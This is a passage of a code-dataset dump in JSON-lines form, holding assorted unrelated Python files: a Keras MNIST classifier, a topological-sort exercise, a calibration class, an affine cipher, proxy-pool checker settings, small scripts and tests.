link='http://ec-cube.ec-orange.jp/lineup/pos/',\n link_label='紹介ページ',\n image='ec_orange_pos.gif',\n ),\n excellent=dict(\n label='Excellent',\n description=trans(ja=\"\"\"クラウド基盤を活用した大規模サイト構築ソリューションです。\nEコマース、SNS、CMSを中心に豊富な機能を取り揃え、\n高負荷な環境下でも高信頼性、ハイパフォーマンスを可能にします。\"\"\"),\n link='http://excellent-solution.jp/',\n link_label='紹介ページ',\n image='excellent.png',\n ),\n \n cloudmap=dict(\n label='cloudmap',\n description=XML(T(\"\"\"Cloudmap is a visual search engine for any contents with user evaluations.\"\"\")),\n status='under-construction',\n image='cloudmap.jpg',\n ),\n)\n","sub_path":"models/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"16600829","text":"from keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, MaxPooling2D, Flatten\nfrom keras.utils import np_utils\nfrom keras.preprocessing.image import ImageDataGenerator\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\npredictors_train = X_train.reshape(X_train.shape[0], 28, 28, 1)\npredictors_train = predictors_train.astype('float32')\npredictors_test = X_test.reshape(X_test.shape[0], 28, 28, 1)\npredictors_test = predictors_test.astype('float32')\npredictors_train /= 255\npredictors_test /= 255\ngroup_train = np_utils.to_categorical(y_train, 10)\ngroup_test = np_utils.to_categorical(y_test, 10)\n\nclassifier = Sequential()\nclassifier.add(Conv2D(32, (3, 3), input_shape=(28, 28, 1), activation='relu'))\nclassifier.add(MaxPooling2D(pool_size=(2, 2)))\nclassifier.add(Flatten())\n\nclassifier.add(Dense(units=128, activation='relu'))\nclassifier.add(Dense(units=10, activation='softmax'))\nclassifier.compile(loss='categorical_crossentropy',\n optimizer='adam', metrics=['accuracy'])\n\ngenerator_train = ImageDataGenerator(rotation_range=7, horizontal_flip=True,\n shear_range=0.2, height_shift_range=0.07, zoom_range=0.2)\ngenerator_test = ImageDataGenerator()\n\nbase_train = generator_train.flow(predictors_train, group_train, batch_size=128)\nbase_test = generator_test.flow(predictors_test, group_test, batch_size=128)\n\nclassifier.fit_generator(base_train, steps_per_epoch=60000/128, epochs=5, \n validation_data=base_test, validation_steps=1000/2)\n","sub_path":"Redes-neurais-convolucionais/MNIST/mnist-argumentation.py","file_name":"mnist-argumentation.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"547843258","text":"#Need transcript ids and isoform ids for Isoforms\n#if Ensembl transcript is annotated, need that ENSGACT number otherwise can use the isoform id\n#to run script: python3 Pull.Transcript.IDs.py \n\nimport sys\n\n\n#read in classification file\n#returns list of transcripts\ndef read_class():\n class_file = sys.argv[1]\n class_dict = {}\n final_transcripts = []\n with open(class_file, 'r') as class_info:\n for line in class_info:\n if line.startswith(\"PB\"):\n new_line = line.split()\n isoform = new_line[0]\n transcript_id = new_line[7]\n if transcript_id.startswith(\"ENSGACT\"):\n final_transcripts.append(transcript_id)\n elif transcript_id == \"novel\":\n final_transcripts.append(isoform)\n return final_transcripts\n\n\n#write output file\ndef write():\n transcripts = read_class()\n output = sys.argv[2]\n with open(output, 'a') as out:\n for transcript in transcripts:\n final = \"%s\\n\" % str(transcript)\n out.write(final)\n\nwrite()\n","sub_path":"Misc_Scripts/Pull.Transcript.IDs.py","file_name":"Pull.Transcript.IDs.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"559391669","text":"#!/usr/bin/env python\n\n# -------------\n# sort\n# -------------\ndef sort(rules, numberOfVerticies, numberOfRules) :\n \"\"\"\n This function first lengthens the rules list to match the total\n number of verticies in the input with all values not present being\n set to [-1]. Then because we know no duplicate values will be\n present this function is capable of sorting the list of rules in\n O(n) time. It accomplishes this by making a second list of the exact\n same size as the total number of verticies and then scanning throught\n the original list copying the rules to the second array in the location\n matching the number of the vertex but in reverse sorted order. It then\n returns this reverse sorted list of rules with verticies for which no rules\n were present conatining the value [-1]\n \"\"\"\n a = [-1]\n b = []\n location = -1\n counter = numberOfRules\n while counter < numberOfVerticies :\n rules.append(a)\n counter += 1\n counter = 0\n while counter < numberOfVerticies :\n b.append(a)\n counter += 1\n counter = 0\n assert counter == 0\n while counter < numberOfRules :\n location = int(rules[counter][0])\n location = location - numberOfVerticies\n if location < 0 :\n location = location * (-1)\n out = location\n b[location] = rules[counter]\n counter += 1\n #rulesFound = 0\n #counter = 0\n #noPredacessors = []\n \"\"\"\n while counter < numberOfVerticies :\n if b[counter][0] > 0 :\n rules[rulesFound] = b[counter]\n rulesFound += 1\n else:\n location = counter\n location = location - numberOfVerticies\n if location < 0 :\n location = location * (-1)\n noPredacessors.append(location)\n counter += 1\n \"\"\"\n return b\n\n# -------------\n# find_no_preds\n# -------------\n\ndef find_no_preds (rules, numberOfVerticies) :\n \"\"\"\n This function scans the list of rules returning a list\n of the verticies that have no predacessors\n \"\"\"\n noPreds = []\n counter = 0\n location = -1\n while counter < numberOfVerticies :\n if rules[counter][0] == -1 :\n location = counter\n location = location - numberOfVerticies\n if location < 0 :\n location = location * (-1)\n noPreds.append(location)\n counter += 1\n return noPreds\n \n \n\n# -------------\n# generate_successors_list\n# -------------\n\ndef generate_successors_list (rules) :\n \"\"\"\n This method generates the successor lists\n for all of the verticies.\n \"\"\"\n successors = []\n successorsList = []\n val = 0\n counter = 0\n lengthOfRules = len(rules)\n while counter < lengthOfRules:\n val = rules[counter][0]\n successors = get_successors(rules, val, counter)\n assert len(successors) > 0\n successorsList.append(successors)\n counter += 1\n return successorsList\n\n# -------------\n# is_a_successor\n# -------------\n\ndef is_a_successor (rule, val) :\n \"\"\"\n Returns true if the vertex from the rule is a successor\n of the value specified.\n \"\"\"\n counter = 2\n length = len(rule)\n while counter < length :\n if int(rule[counter]) == val:\n return True\n if rule[counter] == val:\n return True\n counter += 1\n return False\n\n# -------------\n# get_successors\n# -------------\n\ndef get_successors (rules, val, ignore) :\n \"\"\"\n This method generates the successors list for the \n given vale from the list of rules\n \"\"\"\n if val < 0 :\n location = ignore\n location = location - len(rules)\n if location < 0 :\n location *= (-1)\n val = location\n assert val > 0\n counter = 0\n counter2 = 0\n successors = []\n numVals = -1\n lengthOfRules = len(rules)\n number = -1\n \n while counter < lengthOfRules :\n if rules[counter][0] == -1 :\n counter += 1\n continue\n if counter == ignore :\n counter += 1\n continue\n else:\n numVals = len(rules[counter])\n assert numVals >= 3\n number = rules[counter][0]\n assert number > 0\n rule = rules[counter]\n if is_a_successor(rule, val):\n successors.append(number)\n counter += 1\n numSuccessors = len(successors)\n if val == 3 :\n assert numSuccessors > 0\n if numSuccessors < 1 :\n successors.append(-1)\n return successors\n\n# -------------\n# noPreds_sort\n# -------------\ndef noPreds_sort (noPreds):\n \"\"\"\n this method puts a newly inserted value in \n the noPreds list into its correct sorted \n location\n \"\"\"\n lengthOfList = len(noPreds)\n index = lengthOfList - 1\n moveVal = noPreds[index]\n index = index - 1 \n while index >= 0:\n if noPreds[index] > moveVal:\n break\n index = index - 1\n index2 = lengthOfList - 2\n index3 = index2+1\n temp = noPreds[lengthOfList - 1]\n while index2 > index :\n noPreds[index3] = noPreds[index2]\n index2 = index2 - 1\n index3 = index3 - 1\n noPreds[index + 1] = temp\n \n \n \n# -------------\n# update\n# -------------\ndef update (valAdded, noPreds, rules, successorList) :\n \"\"\"\n upon updating this method performs all \n necessary computation to guarantee that all \n effects from the outputting of valAdded are \n accounted for\n \"\"\"\n noPreds.remove(valAdded)\n lengthOfRules = len(rules)\n locationOfSuccessors = valAdded - lengthOfRules\n if locationOfSuccessors < 0:\n locationOfSuccessors = locationOfSuccessors * (-1)\n successors = successorList[locationOfSuccessors]\n counter = 0\n location2 = -1\n while counter < len(successors) :\n if successors[0] == -1 :\n break\n location2 = int(successors[counter])\n location2 = location2 - lengthOfRules\n if location2 < 0:\n location2 = location2*(-1)\n x = int(rules[location2][1]) - 1\n rules[location2][1] = x\n if x == 0:\n noPreds.append(int(rules[location2][0]))\n rules[location2] = [-1]\n if len(noPreds) > 1:\n noPreds_sort(noPreds)\n counter += 1\n \n\n\n# -------------\n# generate_solution\n# -------------\ndef generate_solution (noPreds, rules, successorList) :\n \"\"\"\n This function takes in the list of values with no predacessors,\n the list of predacessor rules, and the successorList. It then\n uses this data to generate the output as an list. Finally it\n copies this list into a string and returns this string\n \"\"\"\n out = []\n endPointer = -1\n valAdded = -1\n while(len(noPreds) > 0) :\n endPointer = len(noPreds) - 1\n out.append(noPreds[endPointer])\n valAdded = noPreds[endPointer]\n update(valAdded, noPreds, rules, successorList)\n counter = 0\n outputString = \"\"\n lengthOfOutput = len(out)\n secondLast = lengthOfOutput - 1\n while counter < lengthOfOutput:\n if counter < secondLast:\n outputString = outputString + str(out[counter])\n outputString = outputString + \" \"\n else:\n outputString = outputString + str(out[counter])\n counter += 1\n return outputString\n \n\n# -------------\n# pfd_compute\n# -------------\ndef pfd_compute (r) :\n \"\"\"\n This method reads in the input and then calls other \n methods to calculate the values necessary for \n the generate_solution method to be able to run.\n \"\"\"\n s = \"-1\"\n s = r.readline()\n if s == \"\":\n out = \"-1\"\n return out\n l = s.split()\n numberOfVerticies = int(l[0])\n numberOfRules = int(l[1])\n readCount = 0\n rules = []\n while readCount < numberOfRules :\n s = r.readline()\n l = s.split()\n rules.append(l)\n readCount += 1\n #out = rules[0][0]\n rules = sort(rules, numberOfVerticies, numberOfRules)\n noPredacessors = find_no_preds(rules, numberOfVerticies)\n #out = noPredacessors[0]\n #out = rules[0]\n successorsList = generate_successors_list(rules)\n #out = successorsList\n #out = rules\n #out = noPredacessors\n out = generate_solution(noPredacessors, rules, successorsList)\n return out\n\n\n# -------------\n# pfd_print\n# -------------\n\ndef pfd_print (w, output) :\n \"\"\"\n prints out the integers passed into it\n from the output array on a single line\n with a space between each and terminated\n with a newline character\n \"\"\"\n\n \"\"\"\n x = len(output)\n x = x - 1\n i = 0\n while i < x :\n w.write(str(output[i]) + \" \")\n i += 1\n w.write(str(output[x] + \"\\n\")\n \"\"\"\n w.write(str(output))\n\n\n\n# -------------\n# collatz_solve\n# -------------\n\ndef pfd_solve (r, w) :\n \"\"\"\n r is a reader and it is passed \n to the function pfd_compute\n w is a writer which is passed along\n with the output array to pfd_print\n \n \"\"\"\n output = pfd_compute(r)\n pfd_print(w, output)\n","sub_path":"PFD.py","file_name":"PFD.py","file_ext":"py","file_size_in_byte":9104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"544470238","text":"import os\nimport glob\nimport numpy as np\nimport scipy.interpolate as interp\nfrom typing import Dict, List\n\nfrom resistics.common.base import ResisticsBase\nfrom resistics.common.checks import isMagnetic\nfrom resistics.common.math import (\n forwardFFT,\n inverseFFT,\n getFrequencyArray,\n padNextPower2,\n)\nfrom resistics.common.print import generalPrint, warningPrint, blockPrint\nfrom resistics.calibrate.data import CalibrationData\nfrom resistics.calibrate.io import CalibrationIO\nfrom resistics.calibrate.utils import getKnownCalibrationFormats, getCalName\nfrom resistics.config.io import loadConfig\nfrom resistics.time.data import TimeData\n\n\nclass Calibrator(ResisticsBase):\n \"\"\"Class for calibrating a time dataset\n\n Attributes\n ----------\n calExt : list\n Accepted calibration extensions\n calFormats : list\n The calibration file formats of the respective extensions\n calDir : str\n Directory path of calibration files\n calFiles : list[str]\n List of calibration files found in calibration directory\n numCalFiles : int\n Number of found calibration files in calibration directory\n useTheoretical : bool\n Flag to use theoretical calibration function\n\n Methods\n -------\n __init__(calDirectory)\n Initialise with calibration directory\n setCalDir(calDirectory)\n Set the calibration directory path\n findCalFiles()\n Find calibration files in calibration directory\n calibrate(timeData, sensor, serial, chopper)\n Calibrate time data\n getCalFile(sensor, serial, chopper)\n Get index of matching calibration flile in calFiles list\n calibrateChan(data, fs, calData)\n Calibrate an individual channel\n interpolateCalData(calData, f, spline)\n Interpolate calibration data to same frequencies as channel data\n getTheoreticalCalData(sensor)\n Get theoretical calibration data\n printList()\n Class status returned as list of strings\n \"\"\"\n\n def __init__(self, calDirectory: str) -> None:\n \"\"\"Set the calibration directory and initialise\n\n Calibrator will automatically find calibration files in the provided directory\n \n Parameters\n ----------\n calDirectory : str\n Path of directory containing calibration files\n \"\"\"\n self.calExt, self.calFormats = getKnownCalibrationFormats()\n self.calFiles: List[str] = []\n self.numCalFiles = 0\n self.calDir: str = calDirectory\n self.findCalFiles()\n # set whether to use theoretical calibration functions\n conf = loadConfig()\n self.extend: bool = conf[\"Calibration\"][\"extend\"]\n self.useTheoretical: bool = conf[\"Calibration\"][\"usetheoretical\"]\n\n def setCalDir(self, calDirectory: str) -> None:\n \"\"\"Set the calibration directory and find files\n\n Calibrator will automatically find calibration files in the provided directory\n \n Parameters\n ----------\n calDirectory : str\n Path of directory containing calibration files\n \"\"\"\n self.calDir = calDirectory\n self.findCalFiles()\n\n def findCalFiles(self) -> None:\n \"\"\"Find calibration files in calibration directory\"\"\"\n self.calFiles.clear()\n # get unique extensions\n extensions = list(set(self.calExt))\n for calExt in extensions:\n # get all files of format cE\n self.calFiles = self.calFiles + glob.glob(\n os.path.join(self.calDir, \"*.{}\".format(calExt))\n )\n self.numCalFiles = len(self.calFiles)\n\n def calibrate(\n self,\n timeData: TimeData,\n sensor: Dict[str, str],\n serial: Dict[str, int],\n chopper: Dict[str, bool],\n ) -> TimeData:\n \"\"\"Calibrate time data\n\n For each channel in timeData, searches for a matching calibration file based on sensor type, serial number and chopper. If a calibration file is found, the channel is calibrated using the data in the file. If useTheoretical is False and no file is found, the data is not calibrated\n\n todo:\n If no calibration file is found and the channel is a magnetic data channel, a theoretical function can be used\n \n Parameters\n ----------\n timeData : TimeData\n TimeData object\n sensor : Dict\n Dictionary of sensor information with channels as the key and sensor as the value (sensor is a string)\n serial :\n Dictionary of serial information with channels as the key and sensor as the value (serial is a number)\n chopper :\n Dictionary of chopper information with channels as the key and sensor as the value (chopper is a bool)\n\n Returns\n -------\n timeData : TimeData\n Calibration TimeData object\n \"\"\"\n calIO = CalibrationIO()\n # iterate over data\n for chan in timeData.chans:\n # output some info\n self.printText(\"Calibrating channel {}\".format(chan))\n # try and find calibration file\n calFile, calFormat = self.getCalFile(\n sensor[chan], serial[chan], chopper[chan]\n )\n if calFile == \"\":\n # no file found\n if self.useTheoretical and isMagnetic(chan):\n # use theoretical\n calData = self.getTheoreticalCalData(sensor[chan])\n timeData[chan] = self.calibrateChan(\n timeData[chan], timeData.sampleFreq, calData\n )\n timeData.addComment(\n \"Channel {} calibrated with theoretical calibration function\".format(\n chan\n )\n )\n continue\n else:\n self.printText(\n \"No Calibration data found - channel will not be calibrated\"\n )\n timeData.addComment(\"Channel {} not calibrated\".format(chan))\n continue # nothing to do\n\n # else file found\n # no need to separately apply static gain, already included in cal data\n calIO.refresh(calFile, calFormat, chopper=chopper[chan], extend=self.extend)\n calData = calIO.read()\n sensorText = \"--\" if sensor[chan] == \"\" else sensor[chan]\n self.printText(\n \"Calibration file found for sensor {}, serial number {}, chopper {}: {}\".format(\n sensorText, serial[chan], chopper[chan], calFile\n )\n )\n self.printText(\"Format: {}\".format(calFormat))\n self.printText(\n \"Static gain correction of {} applied to calibration data\".format(\n calData.staticGain\n )\n )\n # calibrate time data\n timeData[chan] = self.calibrateChan(\n timeData[chan], timeData.sampleFreq, calData\n )\n timeData.addComment(\n \"Channel {} calibrated with calibration data from file {}\".format(\n chan, calFile\n )\n )\n # return calibrated time data\n return timeData\n\n def getCalFile(self, sensor, serial, chopper) -> int:\n \"\"\"Get calibration file for a sensor, serial and chopper combination\n \n Parameters\n ----------\n sensor : str\n Channel data\n serial : int\n Sampling frequency Hz\n chopper : bool\n Calibration data\n\n Returns\n -------\n calFile : str\n The mathing calibration file\n calFormat : str\n The calibration format\n \"\"\"\n if self.numCalFiles == 0:\n # no calibration files to calibrate with\n return \"\", \"\"\n\n for extension, fileformat in zip(self.calExt, self.calFormats):\n # get the name for this format - there could be more than one acceptable name\n calNames = getCalName(fileformat, extension, sensor, serial, chopper)\n if calNames is None:\n continue\n # if a string rather than a list\n if isinstance(calNames, str):\n calNames = [calNames]\n # search to find a calibration file with that name and take the first encountered\n for calName in calNames:\n for calFile in self.calFiles:\n calFileExt = os.path.splitext(calFile)[1].lower()\n if (\n calFileExt == \".\" + extension.lower()\n and calName.lower() in calFile.lower()\n ):\n return calFile, fileformat\n # else return empty strings\n return \"\", \"\"\n\n def calibrateChan(\n self, data: np.ndarray, sampleFreq: float, calData: CalibrationData\n ) -> np.ndarray:\n \"\"\"Calibrate a channel\n\n Perform fourier transform of channel data, deconvolve (division) sensor impulse response and inverse fourier transform.\n \n Parameters\n ----------\n data : np.ndarray\n Channel data\n sampleFreq : float\n Sampling frequency Hz\n calData : CalibrationData\n Calibration data\n\n Returns\n -------\n out : np.ndarray\n Calibrated channel data\n \"\"\"\n # do the forward transform\n dataSize = data.size\n # pad end of array\n data = np.pad(data, (0, padNextPower2(dataSize)), \"constant\")\n fftData = forwardFFT(data)\n f = getFrequencyArray(sampleFreq, fftData.size)\n # do calibration in frequency domain\n # interpolate calibration info to frequencies in data\n transferFunc = self.interpolateCalData(calData, f)\n # recall, zero element excluded, so start from 1\n # fft zero element should really be zero because average is removed from data\n fftData[1:] = fftData[1:] / transferFunc\n # return the non padded part of the array\n return inverseFFT(fftData, data.size)[:dataSize]\n\n def interpolateCalData(self, calData: CalibrationData, f: np.ndarray) -> np.ndarray:\n \"\"\"Interpolation calibration data on to frequency points\n \n Parameters\n ----------\n calData : CalibrationData\n Calibration data\n f : np.ndarray\n Frequency array where calibration data is defined\n\n Returns\n -------\n out : np.ndarray\n Calibration data interpolated to the frequency array f\n \"\"\"\n # linear interpolate\n interpFuncMag = interp.interp1d(calData.freqs, calData.magnitude)\n interpFuncPhase = interp.interp1d(calData.freqs, calData.phase)\n return interpFuncMag(f[1:]) * np.exp(1j * interpFuncPhase(f[1:]))\n\n def getTheoreticalCalData(self, sensor: str) -> np.ndarray:\n \"\"\"Get theoretical calibration data for magnetic channels\n \n Parameters\n ----------\n sensor : str\n Sensor type\n\n Returns\n -------\n out : np.ndarray\n Theoretical calibration information\n \"\"\"\n # should use the sensor to figure out what calibration func\n if \"mfs06\" in sensor or \"MFS06\" in sensor:\n return CalibrationIO().unitCalibration()\n\n def printList(self) -> List[str]:\n \"\"\"Class information as a list of strings\n\n Returns\n -------\n out : list\n List of strings with information\n \"\"\"\n textLst = []\n textLst.append(\"Known extensions and calibration formats\")\n textLst.append(\"Extensions:\")\n textLst.append(\", \".join(self.calExt))\n textLst.append(\"Associated formats\")\n textLst.append(\", \".join(self.calFormats))\n # now print the actual calibration files\n textLst.append(\"{} calibration files found:\".format(self.numCalFiles))\n if self.numCalFiles == 0:\n textLst.append(\"\\t\\tNo calibration files found\")\n else:\n for calFile in self.calFiles:\n textLst.append(\"\\t\\t{}\".format(calFile))\n return textLst\n","sub_path":"resistics/calibrate/calibrator.py","file_name":"calibrator.py","file_ext":"py","file_size_in_byte":12279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"362037695","text":"from shortcuts import render_to_json\nfrom response import JsonHttpResponse\nfrom django.utils.unittest import TestCase\n\nDEBUG = True\nDEFAULT_CHARSET = 'utf-8'\nSECRET_KEY = 'secret-key'\n\n\nclass ResponseTestCase(TestCase):\n \"\"\"\n Response TestCase\n \"\"\"\n def test_json_response(self):\n \"\"\"\n test http json response\n \"\"\"\n data = {'test': True}\n response = JsonHttpResponse(data)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response['Content-Type'], 'application/json')\n self.assertEqual(response.content, '{\"test\": true}')","sub_path":"abalt_ajax/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563156035","text":"import re\r\nimport urllib\r\nimport urllib2\r\n\r\nopener = urllib2.build_opener()\r\nopener.addheaders = [('User-Agent', 'Mozilla/5.0')]\r\nstate = opener.open(\"https://www.daneshjooyar.com\")\r\n\r\ncode = state.read()\r\n\r\nPattern1 = re.compile('''
  • (.+?)''',re.M|re.DOTALL)\r\nbase1 = re.findall(Pattern1,code)\r\n\r\nPattern2 = re.compile('''''',re.M)\r\nPage = re.findall(Pattern2,base1[0])\r\n\r\nf = open(\"2.html\",\"w\")\r\n\r\nfor i in Page:\r\n f.write(i)\r\n\r\nf.close()\r\n\r\n","sub_path":"Project one/daneshjooyar/Part 1/Extracting Teachers Page.py","file_name":"Extracting Teachers Page.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"364824770","text":"#CENTRO UNIVERSITARIO - UNIPE\r\n#CURSO: REDES DE COMPUTADORES\r\n#DISCIPLINA: ALGORITIMO E PROGRAMACAO\r\n#PROFESSOR: JEFFERSON BARBOSA\r\n#ALUNO: EIJI KUMAMOTO NETO\r\n\r\nprint (\"Deixe sua opiniao sobre nos!!!\")\r\nprint (\"Digite 3 para Otimo!! :D\")\r\nprint (\"Digite 2 para Bom! :)\")\r\nprint (\"Digite 1 para Regular :(\")\r\n\r\nopinioes = [int (input (\"Digite sua opiniao: \")), int (input (\"Digite sua opiniao: \")), int (input (\"Digite sua opiniao: \")), int (input (\"Digite sua opiniao: \")), int (input (\"Digite sua opiniao: \"))]\r\n\r\nquant_otimo = 0\r\nquant_bom = 0\r\nquant_regular = 0\r\n\r\nfor opiniao in opinioes:\r\n if opiniao == 3:\r\n quant_otimo = quant_otimo + 1\r\n if opiniao == 2:\r\n quant_bom = quant_bom + 1\r\n if opiniao == 1:\r\n quant_regular = quant_regular + 1\r\n\r\nprint (quant_otimo)\r\nprint (quant_bom)\r\nprint (quant_regular)\r\n","sub_path":"cinema.py","file_name":"cinema.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175849619","text":"import tensorflow as tf\n\na = tf.random_normal([2, 2], mean=0.0, stddev=1.0, dtype=tf.float32)\nb = tf.truncated_normal([2, 2], mean=0.0, stddev=1.0, dtype=tf.float32)\nc = tf.random_uniform([2, 2], minval=0, maxval=None, dtype=tf.float32)\nd = tf.random_shuffle([12, 35, 64, 5, 16])\n\nwith tf.Session() as session:\n writer = tf.summary.FileWriter('./graphs', session.graph)\n print(session.run(a), session.run(b), session.run(c), session.run(d))\n\n\n# close the writer when we have done.\nwriter.close()\n\n","sub_path":"tensorflow-ex13.py","file_name":"tensorflow-ex13.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"469392781","text":"from ciphers import Cipher\n\n\nclass Affine(Cipher):\n \"\"\"Encrypts or decrypts text using the Affine cipher method.\"\"\"\n\n def __init__(self, alpha, beta):\n \"\"\"\n Creates an instance of the class using given values for alpha and beta.\n The cipher shift formula is: (alpha * letter_index + beta) % 26\n \"\"\"\n possible_alpha_values = [i for i in range(3, 26, 2) if i != 13]\n # list comprehension to create:\n # [3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25]\n\n self.alpha = alpha\n self.beta = beta\n self.alphabet = [chr(i) for i in range(65, 91)]\n # list comprehension and character codes to generate (not broken)\n # ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n # 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n self.cipher_list = []\n for idx in range(len(self.alphabet)):\n self.cipher_list.append((self.alpha * idx + self.beta) % 26)\n\n def encrypt(self, text):\n \"\"\"Encrypts a string (text) message\"\"\"\n\n encrypted_list = []\n text = text.upper()\n for letter in text:\n try: # characters in alphabet are encrypted\n letter_idx = self.alphabet.index(letter)\n encrypted_l = self.alphabet[self.cipher_list[letter_idx]]\n encrypted_list.append(encrypted_l)\n except ValueError:\n # characters outside of range (of alphabet) stay the same\n encrypted_list.append(letter)\n\n return \"\".join(encrypted_list)\n\n def decrypt(self, text):\n \"\"\"Decrypts a string (text) message\"\"\"\n\n decrypted_list = []\n text = text.upper()\n\n for letter in text:\n try:\n letter_idx = self.alphabet.index(letter)\n decrypted_l = self.alphabet[self.cipher_list.index(letter_idx)]\n decrypted_list.append(decrypted_l)\n except ValueError:\n decrypted_list.append(letter)\n\n return \"\".join(decrypted_list)\n","sub_path":"affine.py","file_name":"affine.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"431912818","text":"from abc import ABC\nfrom os import remove\nfrom midi2audio import FluidSynth\nfrom midiutil.MidiFile import MIDIFile\nimport orchestration.constants as constants\n\n\nclass Instrument(ABC):\n def __init__(self, identifier: str, note_duration: int = 2) -> None:\n super().__init__()\n\n self.identifier = identifier\n self.track = 0\n self.channel = 0\n self.duration = note_duration\n self.velocity = 127\n self.current_beat = 0\n\n self.midi_file = MIDIFile(1)\n\n def add_note(self, note: int, duration: float) -> None:\n self.midi_file.addNote(self.track, self.channel,\n note, self.current_beat, duration, self.velocity)\n\n def generate(self) -> None:\n raise NotImplementedError()\n\n \n\n def save_midi(self) -> None:\n with open(constants.output_dir + self.identifier + '.mid', 'wb') as midi:\n self.midi_file.writeFile(midi)\n\n def midi_to_audio(self) -> None:\n fs = FluidSynth(constants.soundfont_dir + self.identifier + '.sf2')\n\n fs.midi_to_audio(constants.output_dir + self.identifier + '.mid',\n constants.output_dir + self.identifier + '.wav')\n\n remove(constants.output_dir + self.identifier + '.mid')\n","sub_path":"orchestration/instrument.py","file_name":"instrument.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"285918999","text":"\n# # # # # # # # # # # #\n# Storage Module #\n# # # # # # # # # # # #\n\n# Redis 数据库配置项\nREDIS_HOST = '127.0.0.1'\nREDIS_PORT = 6379\nREDIS_PWD = None\n\n# Redis 数据库分配\nREDIS_DATABASE_DEFAULT = 12\nREDIS_DATABASE_ANONYMITY = 13\nREDIS_DATABASE_UNUSABLE = 14\nREDIS_DATABASE_QUEUE = 15\n\n# # # # # # # # # # # #\n# Checker Module #\n# # # # # # # # # # # #\n\n# 指定用于检查代理质量的网站(爬虫所要抓取的网站)\nTARGET_URLS = [\n 'http://199.26.100.167/'\n # 'view-source:https://www.toutiao.com/a6617663711639241220/',\n # 'https://www.newrank.cn/public/info/list.html?period=day&type=data',\n]\n\n# 检查模块(来源地、匿名性、质量首查)执行的休眠时间\nSTART_CHECK_ANONYMITY_AND_COUNTRY_AFTER_SLEEP_TIME = 0\nAGAIN_CHECK_ANONYMITY_AND_COUNTRY_AFTER_SLEEP_TIME = 3\n\n# 检查模块(质量复查)执行的休眠时间\nSTART_CHECK_RECHECK_QUALITY_AFTER_SLEEP_TIME = 0\nAGAIN_CHECK_RECHECK_QUALITY_AFTER_SLEEP_TIME = 150\n\n# 检查模块(质量复查)执行时间随机化\nAGAIN_CHECK_SLEEP_TIME_RANDOMIZATION = False\n\n# 无效代理清空周期\nFLUSH_UNUSABLE_PROXY_CYCLE = 1500\n\n# 是否放弃国外代理\nABANDON_FOREIGN_IP = False\n\n# 检查超时限制(秒)\nCHECK_TIMEOUT = 10\n\n# 重试次数限制(秒)\nMAX_TRY_AGAIN_COUNT = 1\n\n# 代理最大连续不可用次数\nMAX_CONTINUITY_UNUSABLE_COUNT = 3\n\n# 检查合批数量\n# 该配置项值近似于程序最TCP大连接数\n# 某些网络环境会严格控制TCP连接数 需慎重配置\nBATCH_SIZE = 256\n\n# 重查分为几批进行(一次性全部取出会造成代理池突然空白)\nQUEUE_PARTIAL_COUNT = 4\n","sub_path":"ConfigModule/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"323931662","text":"'''\nThere are two kangaroos on a number line ready to jump in the positive \ndirection. Each kangaroo takes the same amount of time to make a jump, \nregardless of distance. That is, if kangaroo one jumps 3 meters and \nkangaroo two jumps 5 meters, they each do it in one second, for example.\n\nGiven the starting locations and jump distances for each kangaroo, \ndetermine if and when they will land at the same location at the \nsame time.\n\nOutput Format\n\nPrint YES if they can land on the same location at the same time; otherwise, print NO.\n\nlink: https://www.hackerrank.com/challenges/kangaroo/problem\n'''\nimport sys\n\ndef kangaroo(x1, v1, x2, v2):\n # Complete this function\n if v1 <= v2:\n return \"NO\"\n \n while (x1 < x2):\n x1 += v1\n x2 += v2\n if x1 == x2:\n return \"YES\"\n else:\n return \"NO\"\n\nx1, v1, x2, v2 = raw_input().strip().split(' ')\nx1, v1, x2, v2 = [int(x1), int(v1), int(x2), int(v2)]\nresult = kangaroo(x1, v1, x2, v2)\nprint(result)","sub_path":"hackerrank/Implementation/Kangaroo.py","file_name":"Kangaroo.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"627343073","text":"from django.db import models\n\n\n# Create your models here.\n\nclass Article(models.Model):\n\tSTATUS_CHOICE = {\n\t\t('d', 'part'),\n\t\t('p', 'published'),\n\t}\n\n\ttitle = models.CharField('Title', max_length=100)\n\tbody = models.TextField('Body')\n\n\tcreated_time = models.DateTimeField('created_time', auto_now_add=True)\n\tmodified_time = 